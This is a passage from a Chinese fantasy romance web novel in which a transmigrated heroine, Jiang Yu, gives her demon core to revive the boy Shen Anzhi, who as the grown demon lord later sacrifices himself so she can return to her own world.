在他话音未落之际,姜喻忽的张开手臂,用力地抱住了他单薄的肩背。一只手轻轻落在他微凉的发顶,笨拙又温柔地揉了揉。 “别怕呀,”声音放得又软又轻,像哄着易碎的琉璃小孩,“信我,你以后肯定会越过越好,越来越厉害的……” ——厉害到成了魔主。 姜喻脑中闪过熟悉身影,心头蓦然一刺。 哪怕分明是同一个人,怎么长大后就那么嘴硬了? 这念头让她抱着他的手臂又收紧了些。 从未被人如此温柔以待,鼻翼间瞬间充盈着小姑娘馨香,像冬日里第一缕冲破寒冰的光。 沈安之浑身僵住,晦暗的眸子深处仿佛有微弱的星火悄然投入干柴,逐渐亮起,明灭不定地疯狂闪烁。 他迟疑了一下,一点点地收紧手臂,如同溺水之人抓住唯一的浮木,将她更用力地抱在怀里,瘦削的指节因用力而泛白。 “真的吗?”闷闷的声音从她肩窝处传来。 “真的,千真万确。”姜喻用力点头,掌心隔着单薄衣料,安抚地轻拍着他微微颤抖的后背。 她是妖,却是唯一对他好的妖。 姜喻不知他心中所想,手安抚拍拍他后背,想着该怎么样的理由继续赖在他身边。 沈安之无声的发泄完情绪,仿佛过了许久,才缓缓松开手。 他脸颊染着不自然的薄红,迅速别开脸,起身走到庙角,默不作声地抱来最干燥的枯草厚厚垫上,又将自己那堆破旧衣物铺开,勉强整理出一方还算洁净柔软的“床铺”。 “早些歇息。”沈安之嗓音恢复了惯常的低哑平静,听不出情绪。 姜喻眉眼弯弯,毫不客气地“嗯”了一声,笑嘻嘻地躺了上去,故意把身下的干草压得窸窣作响。 沈安之反手枕在脑后,目光沉沉地锁着姜喻躺下的纤细背影。 指尖无意识捻着草梗,心底翻腾: 她还会变回那只小雀吗?若她执意不肯,又该如何护她周全…… 另一侧,姜喻闭着眼毫无睡意,悄悄翻过身,借着月光偷觑沈安之的眉眼。少年安静躺着,呼吸平稳,仿佛全无挂碍。 她心头莫名有些堵,这人怎么就不担心她这只“小雀”一去不返呢? 夜色中,各怀心事的两人,姜喻终是按捺不住,小声问:“你睡着了吗?” “没有。”他声音立刻响起。 “那……聊聊天?”姜喻撑起一点身子,视线瞟向一侧打盹的小小少年。 “聊什么?” “你一个人就住在这破庙里?” 他声音适时染上几分落寞:“倒也不算全然一人。原有一只小红雀,日日相伴。只是今日……” 沈安之顿了顿,佯作低沉,“它却迟迟未归。” 说话间,目光状似无意地扫过她的方向。 姜喻心头猛地一跳。 糟了,小红雀和她此刻的人形,怎能同时出现? 脑中急转,含糊地小声安慰:“许是……许是贪玩,在哪里耽搁了吧……” “嗯。”沈安之唇角悄然弯起弧度,随即合上了眼。 见他闭目,姜喻也不好再问。 时间在寂静中流逝,渐渐感到熟悉的倦意涌上,指尖开始变得透明…… 待她一个激灵惊醒,眼前景象已缩成熟悉的视角,她又变回了毛茸茸的小红雀。 看来妖力终究不稳,尚不足以长久支撑人形。 姜喻懊恼地扑扇了下翅膀飞起,落在沈安之颈窝处。小小的脑袋依赖地蹭了蹭他。 随即,她叼起白日里买的那些东西,费力地拖到破庙显眼处放好。最后又衔起那条绯红的发带,小心翼翼地放在他摊开的掌心。 如此伪装成懂得知恩图报的小姑娘,留下谢礼后悄然“不辞而别”。 等他日她再变回来,凭沈安之这小小年纪,定然瞧不出破绽。 姜喻小得意地盘算着,安心地闭上眼,在他肩头寻了个舒服的位置打盹。 小小的身子随着呼吸微微起伏,很快睡得歪歪倒倒。 一只温热的手掌悄然拢了过来,轻柔将她护住。 迷糊中,姜喻本能地往温暖的颈窝处钻了钻,寻得一个最安稳的依靠。 月光下,沈安之的唇角无声地勾起,这才真正沉入梦乡。 姜喻再次悠悠转醒,沈安之正梳理长发。少年乌黑的发间,束着的正是那条绯红的发带。指尖拂过发带,动作从容。 姜喻满意地“啾”了一声,欢快地飞落在他肩头。 沈安之再未提起昨日神秘出现又消失的小姑娘,仿佛那只是一场幻梦。 姜喻也乐得装傻,只安心扮演小红雀,寸步不离地守着沈安之,等待他命中注定的机缘,顾疏雨的出现。 周遭的战火暂时平息,远方蛰伏的妖气却开始蠢蠢欲动,隐隐向此地逼近。 姜喻暗中几次将来犯的小妖击退。 然而,当她带着几缕凌乱的羽毛和不易察觉的细小伤痕飞回时,终究没能逃过沈安之洞察入微的眼。 少年沉默地看着她略显狼狈地落在破旧的佛龛上,几次薄唇微启,似要追问,垂下眸,硬生生咽了回去。 姜喻安抚地用翅膀轻轻拍了拍他的发顶,像往日般偎在他颊边。 可这次外出后,她再也没能飞回沈安之身畔。 一日,两日,三日……破庙里再无雀影。 少年冲出庙门,在荒野山林间发了疯似的狂奔找寻,喊哑了嗓子,哪怕磨破脚掌都未放弃半分。 直至暮色沉沉,他连一片羽毛都未寻见半片。 * 姜喻醒来时人还是懵的。 她只记得与妖物缠斗,被利爪狠狠拍向悬崖…… 视线聚焦在守在床边,他眉宇间忧色未散,却因她醒来而露出笑意。 “老爹?!” “阿愉,醒了就好,醒了就好!”姜檀奚忙扶她坐起,声音带着后怕的微颤。 听姜檀奚讲述,她得知自己与顾疏雨同去游玩,遭遇妖物突袭,雇佣的修士只护着顾疏雨逃回,她则重伤失踪了三个月。 姜檀奚几乎掘地三尺,才在绝壁下寻到昏迷不醒的她。 “阿愉,可还有哪里不适?”姜檀奚忧心忡忡,温热的手掌覆上她额头摸了摸。 “没事了老爹。”姜喻晃了晃还有些昏沉的脑袋,掀开锦被就要下地,“我躺了多久?” “整整半月。”姜檀奚只当她是妖力反噬才昏睡如此之久,见她急切要下去,忙拦住问,“刚醒又要去哪?” “老爹,顾师……顾疏雨呢?她在哪?”姜喻语速飞快,眼神透着焦灼。 “疏雨那孩子在顾家。听闻你醒了,本是要来……”姜檀奚话到嘴边,又微微顿住。 姜喻心头一跳,再顾不得许多,一溜烟跳下床榻。 屋外倾盆大雨,丫鬟小心翼翼地递上油纸伞,她接过后不管不顾地冲入雨幕。 一众仆从惊呼着追上去,姜喻充耳不闻,撑着伞直奔顾府。 朱漆大门被她用力地推开,雨帘之中,只见十几岁的顾疏雨孤零零跪在庭院中央。 雨水浸透她单薄的衣衫,长发湿漉漉地贴在苍白的小脸上,脊骨挺得笔直。 听到声响,顾疏雨侧首,水珠顺着尖俏的下巴滴落,喑哑嗓音道:“好点了吗,阿愉?” “我好全了。”姜喻心口一紧,几步冲到她身边,急急将伞倾覆过去,大半身子瞬间暴露在雨里,“快起来,跟我走。” ——沈安之还在等着你。 我无法改变关键节点的剧情,顾疏雨你一定要去见到他,让他随你去鹤门宗啊。 “去哪?”顾疏雨抬眸看她,雨水冲刷着眼睫,她抬手抹去,“我爹罚我禁足于此。阿愉,你快回去,别淋坏了。” 顾疏雨身形纹丝不动。 姜喻一听更是急了,瓢泼大雨,她哪怕是铁打的身子都扛不住。 扭头便冲着廊下侍立的顾家仆役喊道:“去请顾伯伯,就说姜喻求见。” 不多时,顾林慢悠悠地踱步而来。 姜喻深吸一口气,指着雨中倔强跪着的小身影,语气带着少有的认真:“顾伯伯,那日遇险,错不在她。您罚她,于理不合。” 顾林看着向来娇蛮的少城主竟为自家女儿出头,捋须沉吟片刻,顺着台阶颔首:“罢了,舒雨,既是阿愉为你求情,起来吧。” 姜喻立刻伸手去扶。 顾疏雨被她的手掌握住臂弯,微微一怔,竟忘了起身。 姜喻自小便是她需仰望的少城主,身份尊贵,性子骄纵。虽待她比旁人略好些,却也从未有过如此,亲近回护之举。 “阿愉,你是……特意为我来的?” “当然啊。”姜喻答得干脆利落,手下用力想将她拉起。 顾疏雨唇角微弯,笑意还未扬起,整个人便软软地倒向姜喻怀中。 这一场大雨中的长跪终是免了,顾疏雨却也付出了高热三日不退的代价。 烧得迷糊时,小手仍攥着姜喻一片衣袖,不肯松开。 姜喻叹了口气,拿起剪子将衣角齐整地剪了下来,留在她掌心。 之后几日,姜喻总寻隙溜过来探看一二。 心头压着盘算,沉甸甸的,让姜喻寝食难安。 她不敢多言,更怕耽搁,待到顾疏雨眼神终于清明,姜喻端来温热的药碗,一勺勺耐心喂着。 四下无人时,她倾身靠近,压低声音:“疏雨,等你大好了,务必去城西外荒废的破庙寻一个人。” 一张被折得小小的纸条塞入顾疏雨手中。 “这人于我有救命之恩,你帮帮他,可好?” “好,我答应你,阿愉。” 第82章 顾疏雨眼看着姜喻喂完最后一口,她不犹豫,转身匆匆便要离开。 看着即将跨过门槛的身影,顾疏雨低唤一声:“阿愉。” 姜喻的脚步顿在门槛外。 望着她纤细的背影,顾疏雨鬼使神差地问道,“你还会来吗?你就……这么在意那个人?” 姜喻的心确实悬着。爹爹派出去寻沈安之的人迟迟未归,音讯杳然,她怎能不急。 她停在门边,片刻静默,忽然回首。 “我在意。”姜喻答得干脆,眸光明亮,明媚一笑,烛火映着她粲然的笑靥,“会的。过几日,我便来看你。” 一声压抑的轻咳后,向来清冷的面容扬起笑容,她温声道,“好,我等你。” * 夜色渐浓如如墨。 姜喻悄然潜出顾府,指尖下意识摩挲着颈间那块梧桐木牌,木纹深刻着她的名字。 失踪前它分明不在,定是昏迷时,姜檀奚又给她戴了回去,防止弄丢,她迅速将其扯下塞进腰间储物荷包。 妖力运转越发滞涩,强行催动瞬移术,经脉仿佛是寸寸枯竭的河流,汗水浸透了中衣。 姜喻落地踉跄几步,腿酸脚软得差点栽倒,慌忙扶住身旁老树勉强站稳。 呼吸未定,抬眼被一片刺目的猩红震慑。 姜喻呼吸一滞,脑中嗡鸣,连疼痛都显得麻木了。 眼前没有破庙,只剩下断壁残垣,满地皆是战死士兵的尸骸。 铁锈味混着尘土钻进鼻翼,猩红的血溅落的到处,味道久久不散。 他们刀剑创口遍布,更有者,有着狰狞交错的利爪撕扯的痕迹。 这里不止发生了战乱,还有妖物出没…… “沈安之!”她声音冲破喉咙。 沈安之,你到底在哪儿啊…… “沈安之——!”姜喻扑进这片修罗场,不管不顾地翻找起来。 十指沾满粘稠的血污与泥泞,慌乱地将破庙上下翻找了几遍,搜寻着每一个可能掩埋他的角落。 “沈安之——”她嘶哑哭腔的呼喊,在废墟上回荡。 “沈安之——沈安之——” 每当一个和他相似身形的尸体出现,姜喻心惊胆战地害怕,害怕那人会不会是沈安之。 可上天似乎在和她开玩笑,翻过每一具尸体都不是他…… 姜喻轻锤了锤额角,偏偏头疼的愈发厉害。脚下步伐越发加速,顺着拖拽的血迹,一路寻到了乱葬岗。 无数战乱尸骸都被附近的村民随手扔在坑内,姜喻不愿相信他死了,可当她看见一抹艳丽的绯红在杂乱的墨发若隐若 现时,脑袋紧绷的弦猝然断裂。 姜喻瞳孔巨颤,下巴微抖,哪怕抿紧唇也抑制不住微颤的身躯。下一刻,攥拳抑制着战栗,跌跌撞撞地跑进坑内。 哪怕不甚被绊倒,手上膝盖全是伤口,她都没有停下一刻的脚步。 姜喻浑然不觉刺痛,眼中只有小小的少年。 他双目紧闭,几根带血的赤红羽毛被指尖死死攥住,仿佛最后的执念。胸口处本该跳动的地方,只余一个血肉模糊的空洞,狰狞地敞开着。 温热的血液,正源源不断地从其中涌出,浸染了他身下的尘土。 姜喻指尖发颤,死死抵住少年的心口,徒劳地想要堵住。鲜血从她指缝间溢出,滑落,烫得她灵魂都在战栗。 “沈安之——”撕心裂肺的哭喊卡在喉咙,最终化作破碎的呜咽。 她跪坐在血泊中,仿佛被抽走了所有力气,只剩下一个念头在脑中疯狂跳动:再早一点,如果她来的再早一点,会不会可以救到他…… 撕心裂肺的痛在心口席卷全身,咬紧的下唇溢出刺目的红,姜喻崩溃地落下泪珠,“沈安之,安之……你不可以,不可以死,不要死……” 不要…… 不要…… 不要死! 姜喻只觉脑袋疼得天地旋转,仿佛要坠入似的深渊。一瞬,双目之中似有微光生生不息地流转。 ……两颗妖丹? 不,准确来说是神鸟重明的内丹,此刻正深藏于她的眼底。 “你的内丹能救他。”熟悉的声音如同惊雷,在她脑海中炸响。 姜喻怔愣一瞬,如同溺水者抓住了唯一的浮木,再无半分迟疑,流转在掌心的妖力对准右眼。 内丹被取走的疼她受过一次了。 哪怕疼得姜喻想原地打滚,都没有停下一刻。 泛红的内丹被她硬生生取出,原本就粉雕玉琢的小脸,此刻褪尽了所有血色,白得像初冬的新雪,苍白得吓人,毕竟她现在只是一个六岁多的孩童身躯。 “沈安之,等着我救你……” 掌心的内丹散发着柔和的绯红微光,她小小的身体剧烈摇晃了一下,“哇”地喷出一大口鲜血。 血珠溅在身下少年苍白的脸颊上,如同雪地里绽开的红梅。 眩晕和恶心感几乎将她吞没。 姜喻用尽最后一丝力气,手指轻轻拂去沈安之颊边的血迹,毫不犹豫地将犹带体温的内丹按进了沈安之冰冷的胸膛。 世界在她眼中倾斜、旋转。 姜喻再也支撑不住,小小的脑袋砸向少年心口的位置。 就在意识彻底沉沦的前一瞬,她听到了——咚…咚…咚…… 微弱却顽强的心跳。 由缓至急,由弱转强,一下,又一下。如同擂鼓般在她耳畔轰然作响,越来越清晰,越来越有力。 姜喻终是耗尽了最后一丝气力,唇边扯开一抹虚弱的笑,阖上眼,意识被剧痛撕扯得支离破碎。 “沈安之,我还是……好怕疼啊……” “疼,可我更怕……” 尾音未散,她彻底沉入无边黑暗。 这一次,魂魄仿佛被无形的巨力攫住,抛下万丈悬崖,在罡风中翻滚、撕扯。 每一次濒临溃散的边缘,总有一股牵扯的力道,将她从彻底湮灭的边缘一点点拉回。 五感逐渐消弭时的刹那,一声极轻地叹息清晰地穿透了意识,似投入死水的一粒石子。 下一瞬,飘摇欲散的魂魄被一双手轻柔地接住。 令人心安的馨香包裹她而来,似初春融雪后第一缕拂过新芽的风。化作最温柔的手,抚平了姜喻每一寸魂体撕裂的痛楚。 姜喻涣散的意识被拉回一线清明。 费力地掀开眼帘,迷蒙地向上望去,映入眼帘的,是一张熟悉又带着陌生的容颜。 女子低垂着眼睫,唇角噙着浅笑,美得惊心动魄。刹那间,仿佛连周遭沉寂的黑暗都因这一笑而有了光影与声响。 姜喻惊愕地眨了眨眼,试图更看清她一些,但疲倦再次汹涌袭来。 “莫云岚……”拼尽气力唤出这个名字,姜喻便失去了意识。 第83章 姜喻眼睫微颤,意识从混沌中挣脱。 她茫然睁眼,映入眼帘的是那座小亭。微风拂过,素白纱幔轻扬,似乎透出之地空空如也。 我没死? 浑身的剧痛消失无踪,她周身是奇异的舒爽感,仿佛是沉疴尽去。爬起身伸了个懒腰,活动着胳膊,带着点劫后余生的新奇。 姜喻踱步上前,困惑得瞧了一眼,指尖轻挑起白纱,里面果然空无一人。 “人呢?”小声嘀咕,目光扫过四周脆竹。以往周围多半寂静的混沌,看不清晰,这一刻倒是无比清晰。 无形的力道拉扯了一下她的手腕。姜喻一惊,顺着力道赶紧望去,只见一道半透明的虚影正立在她身侧。 模糊的轮廓显然是沈安之的模样。 瞳孔紧缩,呼吸窒住。她难以置信地盯着虚影,巨大的狂喜冲上头顶,反手攥住那只手,声音颤抖:“沈安之,是你吗?!” 虚影没有言语,轮廓似乎凝实了一瞬。牵着她往亭外竹林走去。 姜喻心头疑窦丛生,脚下却不由自主地跟上,带着本能的信任。 “你怎么不说话?”姜喻忍不住追问,眸光一眨不眨,紧紧锁定他的侧影。 可她话音落下的一瞬,虚影瞬间如烟消弭于无形。 强烈失落感尚未涌上心头,姜喻脖颈间悬挂的铜钱滚烫起来。 “铜钱怎么碎了!”姜喻低呼,摊开掌心接住了寸寸碎裂的铜钱碎片。碎裂的铜钱爆发出灼目的红光,慌忙抬手遮挡双眸。 红光中,身影一点点破开光芒,血腥味混合着清冽的皂角香,将姜喻密不透风地裹住。 一道身影悄然靠近,手臂将她勒入一个坚实怀抱。嗓音沙哑,浓重喘息的声音贴着她耳廓入耳,带着失而复得的欣喜:“夫人,我找到你了。” 血气惹得姜喻心头发慌,睁开眼仰面一瞧,呼吸微滞。 映入眼帘是沈安之苍白却俊美依旧的脸,只是此刻,玄色的衣袍上沾着暗红的血,发丝凌乱,唇角蜿蜒着一道鲜红。 “你、你怎么……”心脏像是被一只冰冷的手攥住,指尖颤抖着想去碰触他衣襟上的湿濡,似乎摸不到任何伤口,“怎么受的伤?!” 沈安之晦暗如渊的眸,此刻亮起骇人的光。染血的唇角扯出一个扭曲又带满足的笑,一字一顿重复着:“无妨……我总算,找到你了。” 姜喻处在茫然发懵的状态。 这真的是沈安之吗? 他垂着眼睫,慢条斯理地擦在衣袖上自己手心手背凝固的血渍,血腥气缠绕在他周身,他却浑不在意,带着薄茧的指腹轻捧起姜喻的脸颊。 他忽地一笑,指尖亲昵地捏了捏她软乎乎的脸蛋,声音喑哑:“我都记起来了,消失的半年,每一寸光阴里都是你。” 俯身在姜喻唇上落下一吻,浅尝辄止的触碰瞬间点燃了他心底的贪婪。 这点温存怎够? 吻得绵长而霸道,将姜喻所有未出口的抗议尽数封缄。 猝不及防时腥甜血气渡入口中,比过往任何一次都要多。 姜喻心下一惊,本能让她下意识想躲,后脑却被骨节分明的手不容抗拒地扣紧,动弹不得。 他舌尖侵入,带着难以言喻的占有,温柔又强势,似无声的宣告寸寸蚕食着她舌尖的领土。 姿态温柔,却又偏执得不容她去逃避。 炙热的呼吸洒落在姜喻脸颊,她闭上眼,清晰地感受到这吻从最初的缱绻,渐渐变得急切。 沈安之仿佛要将所有错失的时光,所有压抑的渴念,化作唇齿交缠,贪婪地、不顾一切地弥补回来。 沈安之长睫微垂,眸光入神地盯着姜喻,指尖轻柔地抚弄着她脑后的发丝,极力克制着自己的动作。 吻到最后姜喻差点喘不上气,幸好沈安之在最后一刻放开了微红肿的唇瓣,魇足又眷恋地弯腰用鼻尖轻蹭了蹭她的鼻尖。 “是为夫不好。有时间,一定教会夫人。” 姜喻她脑袋缺氧晕乎乎,还没转过弯来,因咽下他的血,浑身从内到外变得暖洋洋。他扶着自己的腰肢,才让她勉强没脚软到稳不住身形。 脸颊率先忍不住一红,莫名的好胜心被激起。可见沈安之这样,铭刻在灵魂里的心疼与酸涩一道堵在心口。 “安之,你等等。你是真的沈安之嘛,不会现在是我做梦的错觉吧,毕竟我都死了……”说到死字,姜喻眼圈瞬间泛红。 她连最后一次的回溯机会都用完了。 沈安之指尖轻点了点她的眉心,温柔摩挲着她的眼尾吻了上去,紧紧搂着她腰身,附身将头埋在她颈窝深吸一口气。 “不是我救你,是你,是你一次次在救我。我都记起了,夫人。” 沈安之心脏被无形的手攥紧,眸中溢出的心疼与万分愧疚。 万千情绪都化作这一刻的静默,甚至他又萌生了埋怨自己同时又小心窃喜。 幸好是他。 姜喻选择了他,而非选择其他人。 “夫人的内丹支撑我的心脉,又是你的令内丹化解了这一颗内丹的反噬……”沈安之想到她失去内丹之疼,难受地眼眶微红,“很疼,对不对……” 他的夫人明明最是怕疼了…… 姜喻忽觉颈间一烫,颈窝处一阵濡湿,在她还未多言时,已有人替她先一步落下泪。 惯含笑意的狭长丹凤眸,此刻却滚出大颗泪珠,砸在她锁骨上蜿蜒而下。 怔然僵了一下,姜喻用力地回抱着沈安之精瘦的窄腰,头埋在他肩胛骨。 这是个极有安全感的动作。 “我没事。”声音微颤,尾音消散在空气里。 姜喻攥紧了袖口,衣料洇开一小片深色水痕,如同她此刻的心,被汹涌的思念无声浸透,湿漉漉地往下坠。 眸子蒙上水雾,眼尾泛红,贝齿咬着下唇抑制哽咽,带着哭腔,一字一句: “安之。” “我真的……好想你。” 最后一次回溯,将内丹送入沈安之胸口的那一刻,姜喻便猜到了什么。 回溯特殊之处,不止于此。 沈安之抽丝剥茧,能看透其中玄妙,不愧是他。 沈安之轻柔地吻在她泛红的眼角,似乎要将她所有的惶恐不安都安抚。 “我也想你。若是失去你,我一定会……” 剩下的话沈安之未言,晦暗不清的眸色一抹暗色闪过。他从未真正成为姜喻口中的好人,但她喜欢,他可以做一辈子。 这辈子,下辈子,下下辈子…… 只要是姜喻所想…… 沈安之眸底难掩的悲伤一闪而过,很快又恢复一贯深情款款的笑意,捏了捏她的鼻尖,“夫人,你快哭成小花猫了。” 姜喻吸了吸鼻子,哽咽停下,肩头仍微微轻颤。“可是,这十年,真的很疼,不是吗?” 明明是她当年毫无预兆地消失不见,若是能早一点,哪怕只早一点点…… 沈安之低笑一声,轻轻拭去她脸颊残留的泪痕,动作珍重,“疼?” 他微顿了顿,“那也是我该受的。不然,这副残躯,如何能撑到重见夫人的这一日?” 姜喻微蹙的眉尖,“不许这么说自己。”声音带着点不自在,眼睫垂下又抬眸嗔了他一眼。 “不过嘛……”拖长了调子,忽地一拍他手臂,恍然大悟,“这下就通了。害我琢磨半天,明明给你炼了抑晦丹,后来你怎么会用起我的力量来,比我还熟稔几分?我原以为是因为抑晦丹有我内丹的原因。” “是。”沈安之颔首,“而且,这颗内丹为我稍稍添了些许‘不同’。” “哦?”姜喻好奇心被勾了起来,亮眸睁得溜圆,“比如?” 喉间溢出一声低笑,他倾身,阴影瞬间将她笼罩。 他尾指轻轻捻起她一缕发梢,声音压得又低又缓,带着蛊惑的意味:“夫人若肯亲为夫一口,我便告知,如何?权当给我的奖励。“ 姜喻脸颊一热,唇飞快地在他颊边印了一下,旋即退开半步,强作镇定地扬了扬下巴:“喏,亲了,还不快说。” 沈安之眸底得逞毫不掩饰,“对夫人,我向来如此。” 轻如鸿毛般的吻,弯腰的俊逸青年毫无形象的傻笑,似乎意识自己笑得格外肆意。他轻咳了一声,嘴角上扬: “这颗内丹不仅为我续命,更掩盖我的特殊体质,夫人可知,我体质特殊之处……我保守十几年的秘密。” 姜喻早在看原著《求妖》时就知道,可听到沈安之亲口说出,却另外一种超乎信任的奇异温暖感。 “夫人,我在那事上缠着你,是因为我天生圣阴仙体,双修大补,血肉皆药。你的身子骨当时实在是虚弱……” 姜喻脸颊薄红秒变爆红,哪怕知晓无人听到,也忍不住抬手捂住他的唇瓣,“我知道了。” 沈安之虔诚地亲在她掌心,激起细微的痒意,姜喻蜷起手指想要后缩。他不容她逃离,大手一裹,将其捧握在掌心安抚地摩挲。 “这颗内丹的气息,使得仙体的外溢的气息只有部分妖族能嗅到,寻常人族更难以闻出。自我去了鹤门宗,那里妖邪不聚。” 她万万想不到自己的内丹,竟会派出如此用场。 “因这内丹,”沈安之将两人紧扣的手按在他的心口,急促的搏动隔着衣料跳动在姜喻的掌心,他眼底带着洞悉的了然,“夫人受其牵引,似乎格外深些。” 姜喻微睁大眼,抬起眸:“你早知如此?” 她忆起自己那些被他血腥气勾得失了神志,有些迷乱的记忆,恨铁不成钢似的嗔他一眼,“你非但不惊不惧,对这些警惕点,怎么反而……” 第84章 沈安之愉悦一笑,坦荡得近乎放肆:“嗯,后来,我确实喜欢。” 姜喻听着他近乎袒露又直白的话,一副什么的做派,逗得半气半笑。 笑意盈盈地凑近在呼吸交缠咫尺间。“原来如此,那我问问你,又是如何寻到我的?”笑意掩盖了她几不可察的紧张。 指腹摩挲她掌心的动作停顿一瞬,沈安之认真道:“夫人,锁心线,锁的从不是你,是我。是我离不开夫人,一刻都不要。” 沈安之修长的尾指轻轻一勾,妖异的红芒便自姜喻心口若隐若现透出,凝成一缕虚影般的殷红心线。 “夫人,无论你在哪,只要尚存一缕魂魄,上天入地,掘地三尺,天涯海角,我都会寻你回家。” 姜喻确实是咸鱼本能暴露无疑,哪怕是疑问都未询问过。陡然一惊,原来从那时起,她下意识的,未怀疑过沈安之会害她。 指尖虚触着殷红心线,沈安之将手伸出去,她心领神会地指尖勾着他的尾指。 “这一次,换我带夫人回家。”沈安之温热的手掌反手牵着她的手,一步步带她远离此地。 “好啊。”姜喻侧眸一笑,回眸看去小亭在视野中逐渐消失。 周围步移景异,她驻足凝望,琉璃彩幕如千重画轴流转不定。 若是仔细瞧去,画面上尽是姜喻和沈安之相处的记忆,有沈安之执笔为她描眉,有天乩城摘仙楼看烟花,有含笑接过递来的栗子糖的点点滴滴…… 姜喻欣喜地瞧着这些画面,牵着他蹦跳着几步,入神得瞧着。 沈安之脚步顿了一步,面色逐渐微白,落在她身后慢了一步。 一眨不眨地看着她绚烂如花的笑靥会心一笑,耐心地等着姜喻慢慢去看。 姜喻只发现这些记忆有些她知道,但不曾见过的画面,刚要回眸询问,一缕时有时无的白光乍现。 她眼睫刚颤,沈安之的手已覆了上来,盖在她眼皮上。 他指节用力抵着她眉骨,轻声地安抚着:“别看,太刺目了。” 沈安之凑近在她耳畔,唇上落下羽毛般的触感,他牵着她的手掌率先化作泡影,连同裹着血腥气的人影明明灭灭。 “夫人,答应我,不许忘记我,不许心悦其他人,不许教他人心悦。” “我答应你,自然不会忘记。”姜喻下意识回答,却有些不对劲他为何这般突然问她。 回应姜喻的,是彼此相牵的手落空。 姜喻心慌急切地睁开眼去,入目仅有黑暗,双手他握上紧贴在眼皮的不可撼动的手腕。 “沈安之,你在做什么!” “别怕,夫人。很快便好了。” 沈安之眼底是再也掩盖不住的悲痛,在她看不见的此刻,崩溃如潮水席卷。 “知道夫人下不了决心。”沈安之语气微顿,无声地叹息一口气,“夫人真笨,想要回家。这一次,唯我死就好了。” “你怎么知道……”姜喻话音未落,一个绵长的吻堵住她所有的疑问。 他难以自抑地从姜喻身后箍着她的手臂和身形,紧贴颤抖身形,困在自己怀里。微颤地手臂被他压制胸前,所有挣扎的在他面前是那般徒劳无力。 她即将要失去沈安之的恐慌笼罩了她。 眼眶酸涩的泪珠,一颗颗砸落在他掌心, “沈安之,不可以!我叫你停下来!停下来!” 姜喻故意地提高音量:“你知不知道,我是有意接近你的,我是攻略才接近你,够了,我不要你付出什么了,我们扯平了,两不相欠,好不好?” “我们之间永远纠缠,别想两不相欠,夫人。我曾说过,我的命唯给你一人。”沈安之头埋在她颈窝,苦涩一笑,“夫人,万万不可忘记我。” “我既已知晓了夫人心心念念之事,送夫人回家去。”沈安之轻柔亲在她后脖颈安抚。 滚烫的水珠滴落滑进她的脖颈,烫的姜喻哭腔着喝道:“够了,沈安之。你不停下,我就改嫁去,我离开你去……” 未尽的话化作一丝轻颤。 沈安之温热的唇贴在她后颈,齿尖不轻不重地一啮,低哑嗓音:“墓碑上朱砂刻名,定要写上‘姜喻结发之夫’。若你敢另嫁他人,我便……” 可惜,他没有以后了,夫人。 眼前的束缚消散,刺目的光线涌入眼帘。 姜喻下意识地飞速转身,视线所及,沈安之的身影已如脆弱泡影,在她目光触及的一刹碎成千万个,彻底消弭。 唯余一颗灼烫的赤红内丹,坠落后,没入她心口。 难以言喻的心痛与巨大的空洞攫住了她。 姜喻眼眶猛地刺痛,泛起一片绯红,纤细的手指死死捂住那仿佛被硬生生剜去一块的胸膛,仿佛想将滚烫之物抠出来。 双腿再也支撑不住身体的重量,像是抽走了所有气力,姜喻痛哭着蹲在地,呜咽化作一声撕心裂肺的嘶喊:“沈安之——” * 意识流失只是一刹的异样,脸色苍白的人儿,平躺在绵软的黄色小熊被套的宿舍床上。 长睫微颤,睁开眼,入眼的不再是任何古色古香的情景。 姜喻倏地坐起身,打量着熟悉又陌生的宿舍床幔,猛地掀开帘子探头。 宿舍唯一未离校的室友宋夕,抬眸见她脸色不佳,吓了一跳,“又熬夜看文了?不太舒服的话,今天班会了我给学委请假。” 姜喻听到宋夕熟悉的声音有一瞬的恍惚,重新躺了下去,任由眼泪无声的打湿枕头,把头埋在小熊玩偶。 “好,帮我请假,谢谢。” 听到关门离去的声音,宿舍只剩下姜喻一人。 酸涩堵在心口,一闭上眼却陡然听清空荡荡的宿舍传出一道熟悉声音,含着笑意道: “恭喜你,任务完成。” * 姜喻闭眼再睁眼,心海无垠,水波轻晃。 一身绯色衣裙,泪珠滚落,洇着哭红的眼尾。 她瞧见两道身影而来,眸光倏然亮起,连睫上残泪都忘了拭。 她雀跃地抬眸,视野出现的是一身娇艳红裙步步生莲,踏上心海涟漪时,赫然是绝美无双的莫云岚。 一身红裙,一颦一蹙摄人心魄,身后紧紧地跟随着与她长相别无二致的“姜喻”。 “她”面带微笑抬手,对姜喻礼貌地挥了挥,并未言语就转眼化作一道流光,摇身变作一枚温润,绯红色羽毛形状玉佩。 莫云岚见她眼角的泪痕,心中泛起涟漪,似有万分复杂的情绪堵在喉头,“阿愉,莫哭了。” 见莫云岚递来一方手帕,姜喻犹豫一瞬,接过擦了擦酸涩的眼眶,抬眸定定地瞧着她。 一种血缘间相互的感应,令她下意识选择相信莫云岚。 姜喻抽了抽鼻子,哽咽的开口:“你是我的娘亲,对不对?” “是。”莫云岚唇边噙着温柔的浅笑。 眸光似承载了思念的岁月,难以言喻的怅惘道,“这或许算作你我母女第一次正式相见。我曾立于你的心海小亭,白幔之后,只能遥遥看着你初入此界跌撞成长,我的孩子,受苦了。” 姜喻不想去想苦,许是大脑选择不让她感知到“苦”是何种滋味,可在这双温柔又相似的眼眸注视下,刚刚压下去的酸涩通通在眼眶打转。 重要的东西被生生剜走了的疼,让她在莫云岚眼前落下泪。指节因用力到恰如掌心而泛白,她试图压下心头一阵尖锐又空茫的刺痛,“沈安之,他怎么会知道我是为了‘攻略’……” 莫云岚负手,步履沉缓踱了两步,声音不高,却很是肯定:“他看到了结局。” “结局?”姜喻心头猛地一沉,一股强烈的不安笼罩了她,“难道是……” 《求妖》一书的结局? 莫云岚未答,将袖中玉佩轻轻一托。玉佩瞬息化作足有两米高的巨大水镜,镜面光华流转,映照出《求妖》书中早已注定的结局。 “我让他窥见了未来,你因他而死的结局。而唯一能斩断这宿命、救你性命的法子,唯有一件——他死。如此,你方能挣脱命数无形的‘控制’,活下去。” “而他的选择……”莫云岚顿了顿,眼底掠过一丝亏欠,“未曾让我失望。” “荒谬。”姜喻摇头否认,“这种无稽之谈,他怎么可能信!” 可这镜子中所展现的当真是《求妖》是内容,不经令她感到前所未有的无力。 “我也不愿信。”莫云岚语气是不顾一切的决绝,她转身直直对上姜喻的视线,“可阿愉,你是我唯一的骨血,我怎能眼睁睁看着你被一个魔头拖入死地,万劫不复?!” 她深吸一口气,强压下翻涌的情绪,声音重新变得低沉而遥远,陷入回忆: 